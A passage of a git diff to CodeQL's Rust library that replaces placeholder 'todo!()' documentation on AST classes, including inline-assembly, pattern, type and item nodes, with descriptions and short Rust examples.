nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOption extends @asm_option, AstNode { override string toString() { result = "AsmOption" } @@ -217,6 +247,14 @@ module Raw { /** * INTERNAL: Do not use. + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` */ class AsmRegSpec extends @asm_reg_spec, AstNode { override string toString() { result = "AsmRegSpec" } @@ -229,16 +267,19 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends @assoc_item, AstNode { } /** * INTERNAL: Do not use. - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends @assoc_item_list, AstNode { override string toString() { result = "AssocItemList" } @@ -256,9 +297,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends @attr, AstNode { @@ -288,9 +333,17 @@ module Raw { /** * INTERNAL: Do not use. - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends @closure_binder, AstNode { @@ -310,18 +363,28 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends @extern_item, AstNode { } /** * INTERNAL: Do not use. - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends @extern_item_list, AstNode { @@ -340,9 +403,14 @@ module Raw { /** * INTERNAL: Do not use. - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends @field_list, AstNode { } @@ -370,9 +438,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends @generic_arg, AstNode { } @@ -395,9 +466,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends @generic_param, AstNode { } @@ -425,9 +499,14 @@ module Raw { /** * INTERNAL: Do not use. - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends @item_list, AstNode { @@ -465,9 +544,14 @@ module Raw { /** * INTERNAL: Do not use. - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends @let_else, AstNode { @@ -547,9 +631,16 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends @match_arm_list, AstNode { @@ -568,9 +659,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends @match_guard, AstNode { @@ -584,9 +681,17 @@ module Raw { /** * INTERNAL: Do not use. - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends @meta, AstNode { @@ -615,9 +720,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends @name, AstNode { @@ -647,9 +755,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends @param_list, AstNode { @@ -668,6 +779,18 @@ module Raw { /** * INTERNAL: Do not use. + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` */ class ParenthesizedArgList extends @parenthesized_arg_list, AstNode { override string toString() { result = "ParenthesizedArgList" } @@ -709,6 +832,12 @@ module Raw { /** * INTERNAL: Do not use. * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends @path_segment, AstNode { override string toString() { result = "PathSegment" } @@ -753,9 +882,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends @rename, AstNode { @@ -785,9 +917,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends @ret_type_repr, AstNode { @@ -801,9 +936,22 @@ module Raw { /** * INTERNAL: Do not use. - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends @return_type_syntax, AstNode { @@ -812,9 +960,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends @source_file, AstNode { @@ -839,9 +990,15 @@ module Raw { /** * INTERNAL: Do not use. - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends @stmt_list, AstNode { @@ -891,9 +1048,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends @struct_expr_field_list, AstNode { @@ -917,9 +1077,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends @struct_field, AstNode { @@ -984,9 +1147,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends @struct_pat_field_list, AstNode { @@ -1011,9 +1177,16 @@ module Raw { /** * INTERNAL: Do not use. - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends @token_tree, AstNode { @@ -1022,9 +1195,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends @tuple_field, AstNode { @@ -1048,9 +1224,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends @type_bound, AstNode { @@ -1084,9 +1263,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends @type_bound_list, AstNode { @@ -1116,6 +1298,13 @@ module Raw { /** * INTERNAL: Do not use. + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` */ class UseBoundGenericArgs extends @use_bound_generic_args, AstNode { override string toString() { result = "UseBoundGenericArgs" } @@ -1130,7 +1319,7 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; @@ -1164,9 +1353,12 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` */ class UseTreeList extends @use_tree_list, AstNode { @@ -1185,9 +1377,12 @@ module Raw { /** * INTERNAL: Do not use. - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends @variant_list, AstNode { @@ -1201,9 +1396,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends @visibility, AstNode { @@ -1217,9 +1415,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends @where_clause, AstNode { @@ -1233,9 +1434,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends @where_pred, AstNode { @@ -1286,9 +1490,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends @array_type_repr, TypeRepr { @@ -1307,6 +1514,14 @@ module Raw { /** * INTERNAL: Do not use. + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmClobberAbi extends @asm_clobber_abi, AsmPiece { override string toString() { result = "AsmClobberAbi" } @@ -1314,6 +1529,14 @@ module Raw { /** * INTERNAL: Do not use. + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` */ class AsmConst extends @asm_const, AsmOperand { override string toString() { result = "AsmConst" } @@ -1334,7 +1557,8 @@ module Raw { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -1359,6 +1583,17 @@ module Raw { /** * INTERNAL: Do not use. + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` */ class AsmLabel extends @asm_label, AsmOperand { override string toString() { result = "AsmLabel" } @@ -1371,6 +1606,14 @@ module Raw { /** * INTERNAL: Do not use. + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` */ class AsmOperandNamed extends @asm_operand_named, AsmPiece { override string toString() { result = "AsmOperandNamed" } @@ -1388,6 +1631,14 @@ module Raw { /** * INTERNAL: Do not use. + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOptionsList extends @asm_options_list, AsmPiece { override string toString() { result = "AsmOptionsList" } @@ -1400,6 +1651,14 @@ module Raw { /** * INTERNAL: Do not use. + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmRegOperand extends @asm_reg_operand, AsmOperand { override string toString() { result = "AsmRegOperand" } @@ -1422,6 +1681,14 @@ module Raw { /** * INTERNAL: Do not use. + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` */ class AsmSym extends @asm_sym, AsmOperand { override string toString() { result = "AsmSym" } @@ -1434,9 +1701,17 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends @assoc_type_arg, GenericArg { @@ -1756,9 +2031,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends @const_arg, GenericArg { @@ -1796,9 +2074,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends @const_param, GenericParam { @@ -1864,9 +2145,12 @@ module Raw { /** * INTERNAL: Do not use. - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends @dyn_trait_type_repr, TypeRepr { @@ -1924,9 +2208,12 @@ module Raw { /** * INTERNAL: Do not use. - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends @fn_ptr_type_repr, TypeRepr { @@ -1965,9 +2252,17 @@ module Raw { /** * INTERNAL: Do not use. - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends @for_type_repr, TypeRepr { @@ -2101,9 +2396,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends @impl_trait_type_repr, TypeRepr { @@ -2144,9 +2442,12 @@ module Raw { /** * INTERNAL: Do not use. - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends @infer_type_repr, TypeRepr { @@ -2155,9 +2456,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends @item, Stmt, Addressable { @@ -2251,9 +2556,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends @lifetime, UseBoundGenericArg { @@ -2267,9 +2575,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends @lifetime_arg, GenericArg { @@ -2283,9 +2594,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends @lifetime_param, GenericParam { @@ -2379,9 +2693,11 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends @macro_expr, Expr { @@ -2395,9 +2711,20 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ class MacroPat extends @macro_pat, Pat { @@ -2411,9 +2738,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends @macro_type_repr, TypeRepr { @@ -2462,9 +2795,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends @name_ref, UseBoundGenericArg { @@ -2478,9 +2814,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends @never_type_repr, TypeRepr { @@ -2551,9 +2890,11 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` */ class ParenExpr extends @paren_expr, Expr { @@ -2572,9 +2913,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends @paren_pat, Pat { @@ -2588,9 +2932,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends @paren_type_repr, TypeRepr { @@ -2621,7 +2968,7 @@ module Raw { /** * INTERNAL: Do not use. - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; @@ -2666,9 +3013,13 @@ module Raw { /** * INTERNAL: Do not use. - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends @ptr_type_repr, TypeRepr { @@ -2821,9 +3172,13 @@ module Raw { /** * INTERNAL: Do not use. - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends @ref_type_repr, TypeRepr { @@ -2847,9 +3202,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends @rest_pat, Pat { @@ -2949,9 +3307,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends @slice_type_repr, TypeRepr { @@ -2965,9 +3326,12 @@ module Raw { /** * INTERNAL: Do not use. - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends @struct_field_list, FieldList { @@ -2981,9 +3345,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends @try_expr, Expr { @@ -3024,9 +3391,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends @tuple_field_list, FieldList { @@ -3057,9 +3427,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends @tuple_type_repr, TypeRepr { @@ -3073,9 +3446,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends @type_arg, GenericArg { @@ -3089,9 +3465,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends @type_param, GenericParam { @@ -3136,9 +3515,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends @variant, VariantDef, Addressable { @@ -3308,9 +3690,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends @const, AssocItem, Item { @@ -3362,9 +3746,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends @enum, Item { @@ -3403,9 +3789,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends @extern_block, Item { @@ -3434,9 +3824,11 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends @extern_crate, Item { @@ -3550,9 +3942,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends @impl, Item { @@ -3622,9 +4018,11 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ class MacroCall extends @macro_call, AssocItem, ExternItem, Item { @@ -3653,9 +4051,13 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` */ class MacroDef extends @macro_def, Item { @@ -3689,9 +4091,13 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends @macro_rules, Item { @@ -3816,9 +4222,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends @static, ExternItem, Item { @@ -3869,7 +4277,10 @@ module Raw { * INTERNAL: Do not use. * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends @struct, Item, VariantDef { @@ -4010,9 +4421,11 @@ module Raw { /** * INTERNAL: Do not use. - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends @trait_alias, Item { @@ -4127,9 +4540,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends @union, Item, VariantDef { @@ -4168,9 +4583,9 @@ module Raw { /** * INTERNAL: Do not use. - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends @use, Item { @@ -4194,9 +4609,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends @for_expr, LoopingExpr { @@ -4254,9 +4673,13 @@ module Raw { /** * INTERNAL: Do not use. - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends @while_expr, LoopingExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll index 6c013f9356d..b770a268431 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RefTypeRepr` class directly. * Use the subclass `RefTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll index 89ac3f7f12c..31dfe0d307c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Name */ module Generated { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Rename` class directly. * Use the subclass `Rename`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll index 06d2947ee8a..0134255b828 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::RestPat` class directly. * Use the subclass `RestPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll index 352f4bcb960..e316b8b32f8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ 